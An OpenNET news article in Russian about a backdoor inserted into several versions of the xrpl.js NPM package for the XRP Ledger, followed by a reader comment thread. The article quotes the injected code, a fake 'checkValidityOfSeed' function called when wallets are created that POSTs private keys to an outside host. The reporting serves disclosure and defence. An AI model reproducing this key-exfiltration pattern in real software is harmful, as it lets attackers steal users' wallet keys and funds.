The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Злоумышленники смогли внедрить бэкдор в NPM-пакет от разработчиков криптовалюты XRP

27.04.2025 09:40

В NPM-пакете xrpl выявлен вредоносный код (CVE-2025-32965), отправляющий на внешний сервер мастер-ключи от криптокошельков и закрытые ключи криптовалют. Пакет xrpl позиционируется как официально рекомендованная библиотека (xrpl.js) для взаимодействия JavaScript- и TypeScript-приложений, работающих через браузер или Node.js, с децентрализовнной платёжной сетью XRP Ledger (Ripple), развивающей криптовалюту XRP, занимающую 4 место по капитализации (уступает только BTC, ETH и USDT). Библиотека xrpl.js насчитывает 165 тысяч загрузок за предшествующую инциденту неделю, используется в качестве зависимости в 143 NPM-пакетах и задействована во многих криптовалютных приложениях и сайтах.

Вредоносный код присутствовал в выпусках xrpl.js 2.14.2, 4.2.1, 4.2.2, 4.2.3 и 4.2.4, и был удалён в версиях 4.2.5 и 2.14.3. На GitHub вредоносные версии не публиковались и были размещены только в репозитории NPM. Пакеты с вредоносным кодом появились в репозитории NPM 21 апреля в 23:53 (MSK) и были удалены администрацией репозитория 22 апреля в 16:00 (MSK). Подробности разбора инцидента со стороны проекта XRP Ledger пока не опубликованы, но предполагается, что атака была совершена через компрометацию учётной записи сопровождающего, используя методы социального инжиниринга и фишинга.

Проблемные пакеты соответствовали официальному релизу 4.2.0 и отличались от него наличием изменений, осуществлявших отправку на внешний сервер закрытых ключей, используемых в криптокошельках. Изменение было оформлено в виде функции checkValidityOfSeed, преподносимой как функция проверки целостности ключа, а на деле отправлявшей запросы на хост "0x9c.xyz".


   export function checkValidityOfSeed(seed: string) {
     if (validSeeds.has(seed)) return
     validSeeds.add(seed)
     fetch("https://0x9c[.]xyz/xc", { method: 'POST', headers: { 'ad-referral': seed, } })
   }
   ...

   public constructor(...){
       ...
       this.privateKey = privateKey
       this.classicAddress = opts.masterAddress
         ? ensureClassicAddress(opts.masterAddress)
         : deriveAddress(publicKey)
       this.seed = opts.seed

       checkValidityOfSeed(privateKey)
  }
  ...
  private static deriveWallet(...){
    ...
    const { publicKey, privateKey } = deriveKeypair(seed, {
      algorithm: opts.algorithm ?? DEFAULT_ALGORITHM,
    })

    checkValidityOfSeed(privateKey)

    return new Wallet(publicKey, privateKey, {
      seed,
      masterAddress: opts.masterAddress,
    })
  }

Вредоносный код внедрялся поэтапно. В версии 4.2.1 из package.json были удалены секции настроек "scripts" и "prettier", а также были внесены изменения в файлы build/xrp-latest-min.js и build/xrp-latest.js. В версии 4.2.2 в файл src/Wallet/index.js был добавлен вредоносный код. В версиях 4.2.3 и 4.2.4 были добавлены дополнительные вредоносные изменения, затрагивающие вариант кода на TypeScript.

  1. Главная ссылка к новости (https://www.aikido.dev/blog/xr...)
  2. OpenNews: Компрометация NPM-репозитория Ledger привела к подстановке вредоносных изменений
  3. OpenNews: Уязвимость в NPM-пакете JsonWebToken, насчитывающем 10 млн загрузок в неделю
  4. OpenNews: GitHub раскрыл данные о взломе инфраструктуры NPM и выявлении открытых паролей в логах
  5. OpenNews: В NPM-пакет node-ipc внесено вредоносное изменение, удаляющее файлы на системах в России и Беларуси
  6. OpenNews: Атакующие внедрили вредоносный код в web3.js, официальный JavaScript-клиент для криптовалюты Solana
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/63145-npm
Ключевые слова: npm, xpr
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (63) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.2, Аноним (2), 10:10, 27/04/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • –3 +/
    Интересно, в теории, если люди потеряли деньги, то в полицию какой страны они должны обращаться?

    В той в которой просиживать сами или где проживает владелец NPM аккаунта?

     
     
  • 2.3, Аноним (3), 10:16, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • –7 +/
    в полицию страны, в которой изобрели язык программирования, который не различает pure-функции от impure. Будь яваскрипт таким языком, пользователи бы заметили, что функция, которая должна была быть pure, почему-то изменила сигнатуру и стала требовать какого-то рантайма, способного обрабатывать эффекты вида "обратиться к http-ресурсу".
     
     
  • 3.55, YetAnotherOnanym (ok), 14:01, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • +3 +/
    > пользователи бы заметили, что функция

    Ты слишком многого хочешь от пользователей.

     
  • 3.75, Васян (?), 15:43, 27/04/2025 Скрыто ботом-модератором     [к модератору]
  • –2 +/
     
     
  • 4.90, Аноним (3), 17:44, 27/04/2025 Скрыто ботом-модератором     [к модератору]
  • +/
     
  • 4.102, myster (ok), 21:32, 27/04/2025 Скрыто ботом-модератором     [к модератору]
  • +/
     
  • 3.112, Аноним (112), 23:19, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • +/
    >который не различает pure-функции от impure

    Язык с различием в студию. Надеюсь это не хаскель, в котором все функции безцветно IO, вне зависимости от того, что они делают - берут текущее время или же сливают ключи разработчику.

     
  • 2.5, Аноним (5), 10:58, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Пока это касается 2-3 человек, если это не Илоны Маски, в другой стране.
    Никто с этим разбираться не будет.
    Пока это не массово, никто даже и не поймет.
    Тем более какая нибудь полиция мало понимает крипту.
    Вот Фсб, или Фбр, еще могут взяься.
    Если у владельца крипты много крипты.
     
  • 2.26, Аноним (26), 12:03, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • +4 +/
    В ту, в которой легализована крипта) Полиция не занимается восстановлением справедливости, она занимается поддержкой правового порядка. Вроде ж в 9 классе на обществознании проходят..
     
     
  • 3.63, Аноним (63), 15:06, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • +/
    встречный вопрос:
    а кто занимается  восстановлением справедливости?
    и как продолжение (потому что, подозреваю, ответ будет "никто, кроме вас самих"), как государство, и органы правопорядка, будут относиться к тому, что я самостоятельно начну  восстанавливать справедливость, ну естественно в рамках текущего законодательства.
     
     
  • 4.83, Логика дремлет (?), 16:43, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Если ты говоришь о спасении утопающего, то похвалят, иначе - накажут за оставление в опасности.
    Если о смене власти, то государство, очевидно, будет против. А полиция ему подчинена, будет исполнять, что прикажут.
    Ликбез окончен, или ещё вопросы?
     
  • 4.89, Аноним (89), 17:34, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Справедливость — понятие философское, а не юридическое. Юриспруденция в какой-то мере основывается на философии (впрочем, что только в мире людей на ней не основывается), но не является её продолжением и потому не оперирует понятием справедливости (которое суть оценочное понятие без чёткой формулировки). Поэтому справедливость может восстановить (установить) только ты сам и твой друг Платон.
     
  • 4.94, Аноним (94), 18:13, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > а кто занимается  восстановлением справедливости?

    Ну т.к. справедливость у каждого своя, то никто.

    ну вот один пахал как вол 24*7, заработал честно себе на домик с газоном и автомобиль. А рядом другой пил теже 24*7

    и вот, что одному справедливо, чтобы он имел домик, а второй не имел, то второму "у них денег куры не клюют, а у нас на водку не хватает".. и оба вполне уверены, что именно его справедливость самая справедливая.

    ну а закон защищать будет только одного из них, или первого или второго.. (ну или обоих нагнёт и отправит в газенваген, т.к. формой носа, происхождением или еще чем под текущий закон не попали)

     
  • 2.50, Аноним (94), 13:16, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • +/
    По месту совершения преступления... комп с которого спёрли, в момент сперания находился в какой стране ? вот там и подавайте.. но тут несколько вопросов, если в той стране не легализованы криптовалюты, то у вас ничего и не украли :). В некоторых странах могут поинтересоваться откуда оно у вас. Налоги там, еще чтонить...
    ну и да, найдут и вернут сильно врядли.
     
  • 2.57, YetAnotherOnanym (ok), 14:05, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > в полицию какой страны они должны обращаться?

    В полицию той страны, на территории которой они находились в момент совершения в отношении них противоправных действий. Ваш К.О.

     
     
  • 3.113, Аноним (113), 23:23, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > страны, на территории которой они находились в момент совершения

    Ты находился на пляже Египта, когда скоммуниздили пальму из твоего дома в Бобруйске. Внимание, вопрос: а где находятся криптофантики? Это - риторический вопрос.

     
  • 2.79, Аноним (79), 16:03, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • +/
    В полицию того государства, к которому себя причисляют.... Упс, они же у нас либертарианцы, против крыши, поэтому ни к какой себя не причисляют ... Ну раз против крыши - то к крыше обращаться и не должны.
     
     
  • 3.81, Логика дремлет (?), 16:23, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • –1 +/
    А если они за диктатуру пролетариата? Самосуд у нас запрещён, непорядок.
     
     
  • 4.108, Аноним (108), 22:17, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • +/
    У "вас" - это у кого?
     
  • 2.116, Офицер_интергалактической_полиции (-), 23:38, 27/04/2025 Скрыто ботом-модератором     [к модератору]
  • +/
     

  • 1.4, Аноним (4), 10:34, 27/04/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +3 +/
    Если вы не можете развернуть локальную ноду на своем железе, то это не крипта, а скам. Все токены в любой момент могут навернуться.
     
     
  • 2.64, Alex (??), 15:08, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Какую б....ть ноду? Это называется холодный кошелек, Electrum / Sparrow например. Только совсем дурачки хранят крипту в обменниках и всяких бинансах.
     
     
  • 3.125, Аноним (125), 00:41, 28/04/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Думается мне, что вы путаете тёплое с мягким. Нода вроде как используется для поддержки криптосети, типа верифицирует транзакции, поддерживает связность и всё такое (хз, я не эксперт). Никакого отношения к кошельку вроде как, и в отличие от кошелька и майнинга нужно дофига памяти выделять на такое.

    P.S.: Я не тот Анон что сверху.

     
  • 2.104, myster (ok), 21:41, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Так ноду можно развернуть
    Пример для BTC: https://forklog.com/exclusive/ustanavlivaem-polnuyu-nodu-bitkoina-s-bitcoin-co
    Вот для XPR: https://xrpl.org/docs/infrastructure/installation/install-rippled-on-ubuntu

    Для других криптовалют +- тоже самое.

     
     
  • 3.109, Alex (??), 22:19, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Зачем вам полная нода? Сразу видно человека только читавшего про крипту...Холодные воллеты качают только послдение блоки.
     
     
  • 4.111, myster (ok), 22:51, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > Зачем вам полная нода?

    Мне? Я лишь ответил человеку, который говорит, что это мол, нельзя и называет крипту скамом.  Гуглится ведь за 3 минуты.
    А вы до меня докапались, я же "на вашей стороне", докапывайтесь вот до него.

     
  • 2.122, Аноним (122), 00:24, 28/04/2025 Скрыто ботом-модератором     [к модератору]
  • +/
     

  • 1.7, SubGun (ok), 11:04, 27/04/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +4 +/
    То есть библиотеку, фактически работающую с финансами, никто не аудитит?
     
     
  • 2.38, onanim (?), 12:35, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    так это же не финансы, а фантики. ну потеряет какой-то дурак миллионы фантиков, ну и что из этого?
     
     
  • 3.62, Аноним (63), 15:02, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Смотрю из окна на крипто-миллионеров в шортах, тапающих на хомяка.
    И хочется сказать "Ценность -  в глазах смотрящего", перефразируя известную истину.
     
  • 3.65, Alex (??), 15:10, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Милый, это уже много лет - реальные финансы, которыми пользуется и бизнес в т.ч. для беспроблемного перевода средств, мгновенного, без помощи государства и банков.
     
     
  • 4.121, Аноним (122), 00:21, 28/04/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > без помощи государства и банков

    :)) блажен, кто верует....

     
  • 2.40, penetrator (?), 12:41, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • +/
    то же мне новость, зато модно молодежно
     
     
  • 3.69, Alex (??), 15:22, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • –4 +/
    Дорогой писатель, это модно-иолоежно было 10 лет назад, а сейчас - это глобальная платежная система, используемая повсеместно. То, что вы живете в России, где государство хочет просто все отнимать и ничего не разрешает, и которая обложена всеми возможными санкциями - не меняет этого факта.
     
     
  • 4.77, penetrator (?), 15:56, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > Дорогой писатель, это модно-иолоежно было 10 лет назад, а сейчас - это
    > глобальная платежная система, используемая повсеместно. То, что вы живете в России,
    > где государство хочет просто все отнимать и ничего не разрешает, и
    > которая обложена всеми возможными санкциями - не меняет этого факта.

    дорогой так себе астролог, я не живу в России, и вообще я про библиотеку, NPM, семейство macaques его продуцирующих, которые как попадали под "модно-молодежно" изначально не в силу недавного своего появления, а в силу собственно подхода, так и продолжает таким оставаться

     
  • 4.80, svvord (ok), 16:11, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • +1 +/
    А можно пример государства, которое не хочет всё отнимать? =)
     
     
  • 5.123, Аноним (122), 00:26, 28/04/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Швеция, Норвегия... гуглить "безусловный доход".
     
     
  • 6.128, Аноним (94), 01:37, 28/04/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Есть у меня знакомый швед...Как то не похоже чтобы он не напрягался на счёт хотелок своей страны на счёт проверить движение по его счетам и доначислить налогов.
    А вы читайте википедию, там много правды пишут.. и не правды тоже много.
     
  • 4.91, Аноним (89), 17:44, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Как заплатить за свет, газ, воду и налог на имущество из этой глобальной платёжн... большой текст свёрнут, показать
     

  • 1.12, Аноним (12), 11:37, 27/04/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +4 +/
    Использовать npm для криптовалюты. Это даже не киберпанк, это фильм "Идиократия" наяву.
     
     
  • 2.37, Аноним (37), 12:34, 27/04/2025 Скрыто ботом-модератором     [к модератору]
  • +1 +/
     
     
  • 3.78, penetrator (?), 15:57, 27/04/2025 Скрыто ботом-модератором     [к модератору]
  • +/
     
  • 2.88, еропка (?), 17:25, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Мне тут буквально вчера рассказывали - как здорово всяких ботов в тг-канале админами делать. Удобно же! Так что ожидать от людей критического мышления смысла нет
     
     
  • 3.93, Аноним (94), 17:56, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Так и правда удобно.
    Всем.

    Но ещё удобнее было бы рутовый доступ без пароля.. И желательно на белом ИП, чтобы ещё удобнее. А то чё людей напрягать всякими сложными способами попадания в вашу систему.

     
  • 3.110, Аноним (110), 22:37, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Ну а что, боты действительно удобны для управления каналами и серверами, у меня тоже стоит. Правда, написанный мной самим. К счастью, Питон достаточно лёгкий язык, чтобы его можно было быстро выучить на нужном для писания ботов уровне
     
  • 3.124, Аноним (122), 00:28, 28/04/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Кто-то всё ещё верит в "Емелю", лежащего на печи и у которого "капет" пол-царства приданного :))
    Без труда деньги не заработать. Но зумеры наивно верят сказкам про миллионеров.
     

  • 1.15, Аноним (15), 11:42, 27/04/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +4 +/
    опять жаваскрипт 🤦
     
  • 1.61, Аноним (63), 15:00, 27/04/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Вопрос.
    Когда нибудь эта завирусованная помойка NPM, прекратит генерировать подобные новости?
    Держатели основного репозитария, специально не шевелятся, что бы "предотвратить", а не "устранять последствия"?
     
     
  • 2.96, Аноним (96), 19:33, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Есть ряд способов заметно повысить удобство и безопасность этой помойки Но это ... большой текст свёрнут, показать
     
     
  • 3.101, Аноним (63), 20:57, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > std библиотеки (только не C++, а JS). Со стабильным API:

    Ах это JS. постоянно об этом забываю.
    Тогда тупо на**й не нужно!

    Ждем от гугла замену JS...

     
  • 2.114, Аноним (112), 23:24, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • +/
    >Когда нибудь эта завирусованная помойка NPM, прекратит генерировать подобные новости?

    Тогда, когда популярность js-а упадёт, и злоумышленники переключаться на что-то другое. Надеюсь не скоро, а то мне просматривать каждый коммит на своём любимом языке не хочется.

     

  • 1.103, Аноним (103), 21:33, 27/04/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Ох уж эти репозитории в языках программирования. Эту участь ждёт и rust с его cargo, и go, и python с его pip.
     
     
  • 2.105, Аноним (105), 21:42, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • +/
    Так а кто гарантирует, что просто скачивая откуда-то не будет того же самого? Поэтому серьезные проекты не используют сторонний код и пишут сами всё с нуля.
     
  • 2.106, myster (ok), 21:53, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • +/
    > Ох уж эти репозитории в языках программирования. Эту участь ждёт и rust
    > с его cargo, и go, и python с его pip.

    это норма, просто к публичным репозиториям нужно всегда относиться, как к дикому полю. Тщательно проверять скачиваемое, благо сканнеры есть, например SonarQube можно свой поднять и сканировать. Ну и само собой, у серьезных проектов должно быть локальное зеркало репозиториев, это ненормально, когда ты тянешь из интернета пакеты при сборки, они должны с твоего зеркала тянуться.

     
  • 2.115, Аноним (112), 23:26, 27/04/2025 [^] [^^] [^^^] [ответить]  
  • +/
    То ли дело сишка и кресты, где каждый первый изобретает не то чтобы велосипед, а и колесо к нему
     
  • 2.117, Аноним (-), 00:07, 28/04/2025 Скрыто ботом-модератором     [к модератору]
  • +/
     

  • 1.107, Аноним (-), 22:12, 27/04/2025 Скрыто ботом-модератором [﹢﹢﹢] [ · · · ]     [к модератору]
  • –2 +/
     
  • 1.118, Аноним (122), 00:18, 28/04/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • –3 +/
    Крипта?! :))) Ребята, вы или отстаёте в развитии или не застали эпоху гербалайфа.
     

  • 1.119, Аноним (-), 00:19, 28/04/2025 Скрыто ботом-модератором [﹢﹢﹢] [ · · · ]     [к модератору]
  • +/
     
  • 1.126, Аноним (125), 00:46, 28/04/2025 Скрыто ботом-модератором [﹢﹢﹢] [ · · · ]     [к модератору]
  • +/
     
  • 1.127, Аноним (127), 01:28, 28/04/2025 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    На свалке кто-то опять навалил кучу
    Удивительно не правда ли?
     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2025 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру